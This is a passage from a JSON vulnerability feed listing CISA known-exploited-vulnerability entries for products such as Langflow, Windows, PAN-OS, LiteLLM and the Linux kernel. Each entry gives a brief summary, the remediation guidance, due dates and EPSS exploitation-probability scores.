exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-34291","cveId":"CVE-2025-34291","aliases":[],"kind":"vulnerability","title":"Langflow Origin Validation Error Vulnerability","summary":"Langflow contains an origin validation error vulnerability in which an overly permissive CORS configuration combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. This could allow the attacker to execute arbitrary code and achieve full system compromise via obtained tokens that permit access to authenticated endpoints.","detail":"CISA added this entry on 2026-05-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-21","updatedAt":null,"regions":["Global"],"vendor":"Langflow","product":"Langflow","stacks":["LangChain and Langflow","Langflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-21","dueAt":"2026-06-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92808,"percentile":0.99827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-34291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-34291","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-34291 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-34291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-34291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34926","cveId":"CVE-2026-34926","aliases":[],"kind":"vulnerability","title":"Trend Micro Apex One (On-Premise) Directory Traversal Vulnerability","summary":"Trend Micro Apex One (on-premise) contains a directory traversal vulnerability that could allow a pre-authenticated local attacker to modify a key table on the server to inject malicious code to deploy to agents on affected installations.","detail":"CISA added this entry on 2026-05-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-21","updatedAt":null,"regions":["Global"],"vendor":"Trend Micro","product":"Apex One","stacks":["Trend Micro","Apex One"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-21","dueAt":"2026-06-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1342,"percentile":0.96396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34926&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34926","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34926 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34926&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34926, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2008-4250","cveId":"CVE-2008-4250","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Buffer Overflow Vulnerability","summary":"Microsoft Windows contains a buffer overflow vulnerability in the Windows Server Service that allows remote attackers to execute arbitrary code via a crafted RPC request that triggers an overflow during path canonicalization.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98751,"percentile":0.99925,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2008-4250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2008-4250","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2008-4250 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2008-4250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2008-4250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-1537","cveId":"CVE-2009-1537","aliases":[],"kind":"vulnerability","title":"Microsoft DirectX NULL Byte Overwrite Vulnerability","summary":"Microsoft DirectX contains a NULL byte overwrite vulnerability in the QuickTime Movie Parser Filter in quartz.dll in DirectShow which could allow remote attackers to execute arbitrary code via a crafted QuickTime media file.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"DirectX","stacks":["Microsoft","DirectX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.51362,"percentile":0.98931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-1537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-1537","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-1537 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-1537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-1537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-3459","cveId":"CVE-2009-3459","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Heap-Based Buffer Overflow Vulnerability","summary":"Adobe Acrobat and Reader contain a heap-based buffer overflow vulnerability which could allow remote attackers to execute arbitrary code via a crafted PDF file that triggers memory corruption.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86646,"percentile":0.99738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-3459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-3459","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-3459 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-3459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-3459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-0249","cveId":"CVE-2010-0249","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91939,"percentile":0.99817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-0249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-0249","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-0249 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-0249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-0249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-0806","cveId":"CVE-2010-0806","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82241,"percentile":0.99654,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-0806&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-0806","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-0806 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-0806&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-0806, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41091","cveId":"CVE-2026-41091","aliases":[],"kind":"vulnerability","title":"Microsoft Defender Link Following Vulnerability","summary":"Microsoft Defender contains a link following vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Defender","stacks":["Microsoft","Defender"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08202,"percentile":0.94838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41091&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-41091","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-41091 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41091&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41091, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45498","cveId":"CVE-2026-45498","aliases":[],"kind":"vulnerability","title":"Microsoft Defender Denial of Service Vulnerability","summary":"Microsoft Defender contains an unspecified vulnerability that allows for denial of service.","detail":"CISA added this entry on 2026-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-20","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Defender","stacks":["Microsoft","Defender"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-20","dueAt":"2026-06-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63076,"percentile":0.99196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45498&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-45498","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-45498 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45498&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45498, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42208","cveId":"CVE-2026-42208","aliases":[],"kind":"vulnerability","title":"BerriAI LiteLLM SQL Injection Vulnerability","summary":"BerriAI LiteLLM contains a SQL injection vulnerability that allows an attacker to read data from the proxy's database and potentially modify it, leading to unauthorized access to the proxy and the credentials it manages.","detail":"CISA added this entry on 2026-05-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-08","updatedAt":null,"regions":["Global"],"vendor":"BerriAI","product":"LiteLLM","stacks":["LiteLLM","BerriAI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-08","dueAt":"2026-05-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8942,"percentile":0.99783,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-42208","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-42208 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6973","cveId":"CVE-2026-6973","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) Improper Input Validation Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) contains an improper input validation vulnerability that allows a remotely authenticated user with administrative access to achieve remote code execution.","detail":"CISA added this entry on 2026-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-07","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM)","stacks":["Ivanti","Endpoint Manager Mobile (EPMM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-07","dueAt":"2026-05-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34454,"percentile":0.98404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-6973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-6973","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-6973 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-6973&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-6973, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0300","cveId":"CVE-2026-0300","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Out-of-bounds Write Vulnerability","summary":"Palo Alto Networks PAN-OS contains an out-of-bounds write vulnerability in the User-ID Authentication Portal (aka Captive Portal) service that can allow an unauthenticated attacker to execute arbitrary code with root privileges on the PA-Series and VM-Series firewalls by sending specially crafted packets.","detail":"CISA added this entry on 2026-05-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Until the vendor releases an official fix, the following workaround should be implemented:  - Restrict User-ID Authentication Portal access to only trusted zones.  - Disable User-ID Authentication Portal if not required. 5/13/2026: Palo Alto has released a variety of patches. If these are relevant to your environment, please apply the designated patch.","publishedAt":"2026-05-06","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-06","dueAt":"2026-05-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Until the vendor releases an official fix, the following workaround should be implemented:  - Restrict User-ID Authentication Portal access to only trusted zones.  - Disable User-ID Authentication Portal if not required. 5/13/2026: Palo Alto has released a variety of patches. If these are relevant to your environment, please apply the designated patch.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41714,"percentile":0.98676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-0300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-0300","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-0300 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-0300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-0300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-31431","cveId":"CVE-2026-31431","aliases":[],"kind":"vulnerability","title":"Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability","summary":"Linux Kernel contains an incorrect resource transfer between spheres vulnerability that could allow for privilege escalation.","detail":"CISA added this entry on 2026-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"\"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-05-01","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-05-01","dueAt":"2026-05-15","action":"\"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98114,"percentile":0.99911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-31431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-31431","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-31431 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-31431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41940","cveId":"CVE-2026-41940","aliases":[],"kind":"vulnerability","title":"WebPros cPanel & WHM and WP2 (WordPress Squared) Missing Authentication for Critical Function Vulnerability","summary":"WebPros cPanel & WHM (WebHost Manager) and WP2 (WordPress Squared) contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain 